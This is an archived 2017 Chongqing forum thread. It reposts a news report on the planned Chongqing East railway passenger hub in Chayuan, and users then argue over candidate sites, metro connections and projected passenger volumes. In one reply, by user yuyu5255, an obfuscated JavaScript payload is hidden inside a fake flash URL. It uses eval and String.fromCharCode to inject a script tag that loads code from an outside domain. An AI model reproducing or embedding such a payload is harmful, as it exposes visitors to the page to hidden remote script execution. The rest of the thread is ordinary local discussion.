经典重庆

标题: 茶园将建重庆东站是西南乃至中国最大的客运枢纽站 [打印本页]

作者: 缘妢._兲紸顁 时间: 2017-4-4 14:50
标题: 茶园将建重庆东站是西南乃至中国最大的客运枢纽站
重庆东站已确定将开建，目前初步选定了两个落户位置，是西南乃至中国最大的客运枢纽站。

南岸茶园未来交通将更加便利了。

重庆时报记者从重庆东站建设前期工作建议材料中了解到，目前重庆东站已经确定将在南岸茶园开建，项目推进顺利，已经初步选定了两个落户位置。

重庆东站是重庆主要铁路客运站之一，以高速铁路为核心，集长途汽车、地铁、公交、出租车、社会车辆等多种交通方式于一体的综合门户枢纽，是西南乃至中国最大的客运枢纽站。

据了解，重庆东站为特等站，设计最高聚集人数15000人，年发送量达6000万人/次。按照重庆东站站场目前的布置方案，重庆东站远期共设4个车场，自西向东分别为渝湘、渝西、渝达城际、普速（东环）场。

初期东环线建设拟实施普速车场，并修建与普速车场配套的客车整备所及机务段，及重庆东站两端的货车外绕线。未来将分期建渝蓉湘客专场、渝西客专场及渝达城际场，并同步实施与高铁车场配套的动车所。

重庆东站不仅是东环线的主要客运站，远期将有渝西客专、渝武客专、渝湘客专、渝黔客专、渝达城际引入该站。未来将承担渝黔客专、渝西客专、渝达城际始发终到及通过作业，渝怀线、沿江铁路、枢纽东环线始发终到作业，渝武、渝湘客专始发终到作业，为重庆枢纽最重要的客站之一。目前项目初步选定了两个选址，一处位于南山村南山水库附近，另一处位于共和村玉马路附近，具体的选址还需经过相关部门的审核判断。

随着重庆东站项目的顺利推进，重庆东站将成为国内规模最大的铁路枢纽站之一，是国家“两带一路”战略的重要基石，将夯实重庆作为国际化大都市的发展地位，促使茶园成为西南地区的客运集散和中转中心，促进资源和人才的对外交流、技术革新，推进设施覆盖和城市品质提升。

作者: 缘妢._兲紸顁 时间: 2017-4-4 14:50
http://cq.qq.com/a/20170404/004157.htm

作者: a13140374997 时间: 2017-4-4 15:16
不太可能投资超过600亿的上海虹桥枢纽!

作者: Zasake023 时间: 2017-4-4 15:17
这里还是要讲清楚，那个6000w/A是指的预计能达到的发送量，而不是最大发送能力。
最大发送能力按照这个车站引入的线路，到发线数量，站场尺寸来看，达到每天四十万人次都没问题。
但是我就晓得肯定最后还是有很多地震灾农因为脑花遭颠散了，还是始终搞不清楚预计发送量和设计最大发送能力的区别。

作者: Zasake023 时间: 2017-4-4 15:18
实际上六七千万/A的发送量在目前国内来说也算是很靠前的了，毕竟虹桥，杭州东，广州南这些车站平时也就十七八万每天的发送量，春运和节假日可以达到二十几万的日发送量。

作者: Zasake023 时间: 2017-4-4 15:19
另外为重庆东站配套的动车所规模将达到20检查库，100存车线，我估计成都天府动车所够得追了。

作者: 68543352 时间: 2017-4-4 19:23

Zasake023 发表于 2017-4-4 15:19
另外为重庆东站配套的动车所规模将达到20检查库，100存车线，我估计成都天府动车所够得追了。: ...

地府站的线路少得可怜，就靠两条高铁能修多大，龟民就爱东施效颦。

作者: 正解 时间: 2017-4-4 19:50
要有人来坐才是真的

作者: yuyu5255 时间: 2017-4-4 20:11

重庆女性论坛要有人来坐才是真的

http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+\'

作者: 浴火重生 时间: 2017-4-4 20:53
不知选在茶园哪里，建议在轨道6号线刘家坪站与长生桥站之间。。。

作者: 沙漠小蓟 时间: 2017-4-4 21:25
五年内没戏

作者: xierenfeng 时间: 2017-4-4 21:29

浴火重生发表于 2017-4-4 20:53
不知选在茶园哪里，建议在轨道6号线刘家坪站与长生桥站之间。。。

邱家湾站背后两三里

作者: xierenfeng 时间: 2017-4-4 21:31

沙漠小蓟发表于 2017-4-4 21:25
五年内没戏

你就是说十三五内的五年内渝西、渝黔都没戏

作者: 浴火重生 时间: 2017-4-4 22:03

xierenfeng 发表于 2017-4-4 21:29
邱家湾站背后两三里

这里距离区zf太近了吧，寸土寸金之地，，火车站总是比较嘈杂，只要交通便利，火车站本身对经济发展有带动作用，应该与核心区域有一定距离才好。

话说文章里说有两个选址，应该是还没定吧，另一个是哪里啊？

作者: 大洋 时间: 2017-4-4 22:06
又是一个最大

作者: xierenfeng 时间: 2017-4-4 22:32

浴火重生发表于 2017-4-4 22:03
这里距离区zf太近了吧，寸土寸金之地，，火车站总是比较嘈杂，只要交通便利，火车站本身对经济发展有带动 ...

直线应该二三公里，不近了，中间还有很多小区几条马路呢，如果是玉马路茶园站过去再一个站的位置，两个位置也不是太远。

作者: 浴火重生 时间: 2017-4-5 11:41

xierenfeng 发表于 2017-4-4 22:32
直线应该二三公里，不近了，中间还有很多小区几条马路呢，如果是玉马路茶园站过去再一个站的位置，两个位 ...

应该用发展的眼光看问题。现在回头看北站都太近了，一建了火车站，周边迅速就聚集发展，所以东站与南坪区府远些，给南坪核心区多留些发展空间，同时只要交通好，靠近地铁和干道，修建东站又可快速带动周边发展。。

作者: xierenfeng 时间: 2017-4-5 11:55

浴火重生发表于 2017-4-5 11:41
应该用发展的眼光看问题。现在回头看北站都太近了，一建了火车站，周边迅速就聚集发展，所以东站与南坪区 ...

本来那边就是山边，也不可能怎么开发，有足够多的空间够扩展。

作者: 烛音 时间: 2017-4-5 12:00
郑渝和渝昆要是都停这里就好了。

作者: flybird633 时间: 2017-4-5 13:42

浴火重生发表于 2017-4-5 11:41
应该用发展的眼光看问题。现在回头看北站都太近了，一建了火车站，周边迅速就聚集发展，所以东站与南坪区 ...

火车站建这么远做什么？

作者: flybird633 时间: 2017-4-5 13:44

浴火重生发表于 2017-4-5 11:41
应该用发展的眼光看问题。现在回头看北站都太近了，一建了火车站，周边迅速就聚集发展，所以东站与南坪区 ...

火车站建这么远做什么？

作者: 嘉陵江水 时间: 2017-4-5 15:28
大项目还是早点开工好免得又来抢工期

作者: 206 时间: 2017-4-5 15:52
离地铁站太球远了，换乘很不方便

作者: 两江风 时间: 2017-4-5 15:54

浴火重生发表于 2017-4-4 22:03
这里距离区zf太近了吧，寸土寸金之地，，火车站总是比较嘈杂，只要交通便利，火车站本身对经济发展有带动 ...

大棚北距江北区zf也是差不多这个距离，是不是也不合理？

作者: 两江风 时间: 2017-4-5 15:58

206 发表于 2017-4-5 15:52
离地铁站太球远了，换乘很不方便

有8、12号线、6号支（或叫延长线）都会到这里。

作者: 浴火重生 时间: 2017-4-5 16:57

flybird633 发表于 2017-4-5 13:44
火车站建这么远做什么？

并不是要建很远，拿东站来说，都是建在地铁旁边。。建在刘家坪站与长生桥站之间，地理位置比邱家弯站稍远，但在地铁站和干道旁边则仍是非常方便，，相反建在邱家湾站后面2公里处，离地铁站和主干道都远了些，旅客并不方便。。

作者: 氾②的青春 时间: 2017-4-5 17:31
估计是在迎龙服务区周边。东站至少长1.6公里，宽800米（含广场），这么大块地，又要平场，又要减少拆迁，又要衔接通道，看了看地图，感觉迎龙服务区还不错，还可以开一个高速路的口子

作者: xierenfeng 时间: 2017-4-5 17:37

浴火重生发表于 2017-4-5 16:57
并不是要建很远，拿东站来说，都是建在地铁旁边。。建在刘家坪站与长生桥站之间，地理位置比邱家弯站稍远 ...

6号线迎龙支线要走东站和延长到南坪，6号线也可能直接延一站会过去，解放碑过去地铁不过20分钟，东西站也有轨道快线。建那边是因为高铁建设大部分会沿着山脉河流走，也少占地拆迁。东环线基本是沿着明月山在走，那个地方是属于已经相对离城区比较近的地方了，东站的意义主要是东出，成都也要借着东站东出，相比较，成都铁路局的阻力不会有其他站那么大，关键是要不能让菜园坝成为断头站，所以才有菜东连接线。

作者: xierenfeng 时间: 2017-4-5 17:38

浴火重生发表于 2017-4-5 16:57
并不是要建很远，拿东站来说，都是建在地铁旁边。。建在刘家坪站与长生桥站之间，地理位置比邱家弯站稍远 ...

作者: 206 时间: 2017-4-5 17:39

两江风发表于 2017-4-5 15:58
有8、12号线、6号支（或叫延长线）都会到这里。

那还差不多

作者: 氾②的青春 时间: 2017-4-5 17:40
还有就是刘家坪地铁站旁边那一块空地，完全够修东站，不过什么检修所就够呛了

作者: 浴火重生 时间: 2017-4-5 18:16

xierenfeng 发表于 2017-4-5 17:37
6号线迎龙支线要走东站和延长到南坪，6号线也可能直接延一站会过去，解放碑过去地铁不过20分钟，东西站也 ...

你说的都没错，本来就是沿着6号线方向，我的意思就是稍微靠北一些，也是沿着6号线，通江大道附近，，但距离区府稍微隔个两站路，，毕竟区府附近的地更适合做其他用处。。

作者: xierenfeng 时间: 2017-4-5 19:51

氾②的青春发表于 2017-4-5 17:40
还有就是刘家坪地铁站旁边那一块空地，完全够修东站，不过什么检修所就够呛了

那边有个越时代，还有重医附二院就要开业，还有康田的地和工商大学的地就要动工，剩的地不多。那边肯定要方便不少，地铁到解放碑都要不了10分钟，主要是东环线要沿着南山走了，对一些居住区会有影响。

作者: xierenfeng 时间: 2017-4-5 19:55

浴火重生发表于 2017-4-5 18:16
你说的都没错，本来就是沿着6号线方向，我的意思就是稍微靠北一些，也是沿着6号线，通江大道附近，，但距 ...

其实江南水岸背后有很大一片空地，挨着迎龙商贸城地方。和方案二就是分别在黄明公路两边。

作者: 6408011964 时间: 2017-4-5 20:54
有龟城铁路局控制，休想成西南最大，规模超龟城的火车站都不可能

作者: 68543352 时间: 2017-4-5 21:39

6408011964 发表于 2017-4-5 20:54
有龟城铁路局控制，休想成西南最大，规模超龟城的火车站都不可能

重庆西已经把龟东超了，重庆东比重庆西更大。

作者: 浴火重生 时间: 2017-4-7 16:31

xierenfeng 发表于 2017-4-5 19:55
其实江南水岸背后有很大一片空地，挨着迎龙商贸城地方。和方案二就是分别在黄明公路两边。

这两个地方距离地铁站远了，不方便，火车站应该靠着地铁。。

作者: xierenfeng 时间: 2017-4-7 16:49

浴火重生发表于 2017-4-7 16:31
这两个地方距离地铁站远了，不方便，火车站应该靠着地铁。。

不管在哪，现在都不可能挨着现在茶园有的几个地铁站，都已经没空地。不是他挨着地铁站的问题，是他在哪，决定后面对接的地铁的走向，他不定下来，对接的地铁也定不下来。

作者: 夏威威123 时间: 2017-4-7 17:31
北站，西站都吹得不得了，然而确实一般般，东站估计也很尴尬

作者: 浴火重生 时间: 2017-4-7 17:48

xierenfeng 发表于 2017-4-7 16:49
不管在哪，现在都不可能挨着现在茶园有的几个地铁站，都已经没空地。不是他挨着地铁站的问题，是他在哪， ...

如此说来，暂不考虑地铁沿线，也应考虑在干道沿线，比如通江大道或东西大道茶涪路沿线，，，从现在地铁走向看，这些地方今后才有接入地铁的可能。。。

作者: xierenfeng 时间: 2017-4-7 22:25

浴火重生发表于 2017-4-7 17:48
如此说来，暂不考虑地铁沿线，也应考虑在干道沿线，比如通江大道或东西大道茶涪路沿线，，，从现在地铁走 ...

不管是玉马路那个位置还是水库位置，那个本来都是6号线迎龙支线走的位置，就要过那个地方，与通江大道平行的一条线一直到广阳，茶园站过去大概一站的位置，原来预可研的站名就叫已经是重庆东站，东站的规划很早就有了。除了6支，现在确定增加的就是一条东西站快线，还有南岸区提的11号线延长到东站，12号线应该延一点到东站，这两个是还没确定的。

另外玉马路会拓宽，规划的还有高架，以后是接到武隆的高速，现有的干道沿线也肯定是因为要开发才建起来。东站确定位置了，肯定会规划新的主干路，正是因为未开发，才能好规划。

作者: xierenfeng 时间: 2017-4-7 22:28

浴火重生发表于 2017-4-7 17:48
如此说来，暂不考虑地铁沿线，也应考虑在干道沿线，比如通江大道或东西大道茶涪路沿线，，，从现在地铁走 ...

作者: xierenfeng 时间: 2017-4-7 22:29

浴火重生发表于 2017-4-7 17:48
如此说来，暂不考虑地铁沿线，也应考虑在干道沿线，比如通江大道或东西大道茶涪路沿线，，，从现在地铁走 ...

作者: xierenfeng 时间: 2017-4-7 22:30

浴火重生发表于 2017-4-7 17:48
如此说来，暂不考虑地铁沿线，也应考虑在干道沿线，比如通江大道或东西大道茶涪路沿线，，，从现在地铁走 ...

作者: xierenfeng 时间: 2017-4-7 22:32
不管是玉马路那个位置还是水库位置，那个本来都是6号线迎龙支线走的位置，就要过那个地方，与通江大道平行的一条线一直到广阳，茶园站过去大概一站的位置，原来预可研的站名就叫已经是重庆东站，东站的规划很早就有了。除了6支，现在确定增加的就是一条东西站快线，还有南岸区提的11号线延长到东站，12号线应该延一点到东站，这两个是还没确定的。

另外玉马路会拓宽，规划的还有高架，以后是接到武隆的高速，现有的干道沿线也肯定是因为要开发才建起来。东站确定位置了，肯定会规划新的主干路，正是因为未开发，才能好规划。

作者: xierenfeng 时间: 2017-4-7 22:42
网络问题发重了。

作者: 浴火重生 时间: 2017-4-13 10:45

xierenfeng 发表于 2017-4-7 22:25
不管是玉马路那个位置还是水库位置，那个本来都是6号线迎龙支线走的位置，就要过那个地方，与通江大道平 ...

谢谢，看来你很了解情况，如你所说甚好。希望加快。

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